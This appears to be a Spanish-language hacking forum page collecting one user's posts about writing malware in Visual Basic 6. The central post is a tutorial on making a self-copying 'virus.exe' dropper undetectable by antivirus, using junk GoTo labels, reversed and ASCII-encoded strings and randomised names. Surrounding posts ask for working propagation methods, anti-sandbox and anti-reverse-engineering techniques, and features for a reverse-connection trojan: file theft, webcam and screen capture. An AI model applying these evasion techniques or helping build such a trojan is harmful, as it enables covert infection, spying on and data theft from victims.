Temas

hola, me gustaria saber formas de propagacion de malware que funcionen actualmente, y sean efectivas, por ejemplo descartando el autorun...   

Saludos

hola quiero saber la mayoria de las tecnicas anti ingenieria inversa, anti sandbox, Virtual box, etc

Gracias de antemano.

Hola, pues estoy haciendo un visual basic code undetector, ya tiene varias funciones pero quiero que agrege junk...

Código [Seleccionar] Expandir


GoTo auaisnda ' asi
auaisnda:


...entre cada linea, y consegui algo similar a eso, pero en todos coloca la misma cadena de caracteres, con un for genero una cadena aleatoria y estoy usando Replace() para agregar entrelineas. Pero nesesito que genere una cadena DISTINTA.

[NOTA: No he probado todos los codes, asi que algún error me lo hacen saber]

Empezare mostrando un pequeño code con el que explicare las tecnicas para dejarlo FUD (El code no es detectado pero enseñare el procedimiendo para dejar fud un code que sea detectado)
NOTA: No he probado todos los codes, asi que algún error me lo hacen saber

Código [Seleccionar] Expandir

Dim ruta As String
ruta = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", ruta
Close 1#

Lo primero que podemos hacer (y los mas sencillo) para quitarnos algunas firmas es agregar junk, y basicamente estamos agregando code inutil

Código [Seleccionar] Expandir

Dim ruta As String
GoTo HJNCEUHH' entre cada linea agregamos un goto "caracteres aletorios"
HJNCEUHH:       ' y justo debajo los mismos caracteres aleatorios
ruta = Environ("windir") & "\system32\virus.exe"
GoTo RV87N7Ysss
RV87N7Ysss:
FileCopy App.Path & "\" & App.EXEName & ".exe", ruta
GoTo dichuwuiodcioaiofcu
dichuwuiodcioaiofcu
SetAttr ruta, vbHidden


Otra forma es invirtiendo strings

Código [Seleccionar] Expandir


Dim ruta As String
ruta = Environ("windir") & StrReverse("exe.suriv\23metsys\")' con StrReverse invertiremos strings
FileCopy App.Path & "\" & App.EXEName & StrReverse("exe."), ruta
SetAttr ruta, vbHidden


O colocando partes de string (no se si me explico) puede ser con left(), right(), o Mid()

Código [Seleccionar] Expandir


Dim ruta As String
[b]Dim extensión As String
extensión = ".exebasura"
ruta = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & Left(extensión, 4), ruta 'aqui agarramos los 4 primeros caracteres de "extensión" que son .exe
SetAttr ruta, vbHidden


Otro metodo es colocando los caracteren en ascii

Código [Seleccionar] Expandir

Dim ruta As String
ruta = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & Chr(46) & Chr(101) & Chr(120) & Chr(101), ruta ' .exe en ascii
SetAttr ruta, vbHidden
Open ruta For Binary As 1#
Print 1#, "VIRUSXD"
Close 1#

Cambiar los nombres de los modulos y de los forms




Un metodo muy simple de la modificacion de strings, en este caso reemplaze la string ruta por wixadiaixdiawuhxdiahu

Código [Seleccionar] Expandir

Dim wixadiaixdiawuhxdiahu As String
wixadiaixdiawuhxdiahu = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", wixadiaixdiawuhxdiahu
SetAttr wixadiaixdiawuhxdiahu, vbHidden
Open wixadiaixdiawuhxdiahu For Binary As 1#
Print 1#, "VIRUSXD"
Close 1#

Lo mismo podemos hacer con las funciones y los subs

CODE original:

Código [Seleccionar] Expandir

Function random(ByVal Caracteres As Long)
Dim randoms As String
For i = 1 To Caracteres
randoms = randoms & Mid("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZ1234567890", Int((62 * Rnd) + 1), 1)
Next i

CODE con functions random:

Código [Seleccionar] Expandir

Function sjudjsjjscsshudjfsj(ByVal chiuashcuhu As Long)
Dim hshdsdshdahuudau As String
For i = 1 To chiuashcuhu
hshdsdshdahuudau = hshdsdshdahuudau & Mid("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZ1234567890", Int((62 * Rnd) + 1), 1)
Next i

y por ultimo compilarlo en carpetas que no tengan nombres como virus, malware, stub y cosas asi, por que al compilarlo te guarda en el exe la ruta donde fue compilado. (Ojala en C:\)

Bueno, espero que a alguien le sirva.

Saludos

Sigo avanzando en un troyano de conexion inversa y pues ¿Como puedo hacer un taskmgr remoto? tengo algo de idea pero, quiero opiniones.
Se como listar los procesos en el server pero como los ordeno en el cliente?

Gracias de antemano     

Hola!!!  
Bueno, estoy haciendo un troyano en vb6 y nesesito ideas (para agregarle mas opciones, indetectabilidad, etc), y que me respondan algunas dudas.

1.- ¿Como hacer un listado de archivos en el pc infectado y enviarlos al cliente?

2.- ¿Enviar archivos?

3.- ¿Capturar Webcam?

4.- ¿Capturar Escritorio?

Espero respuestas...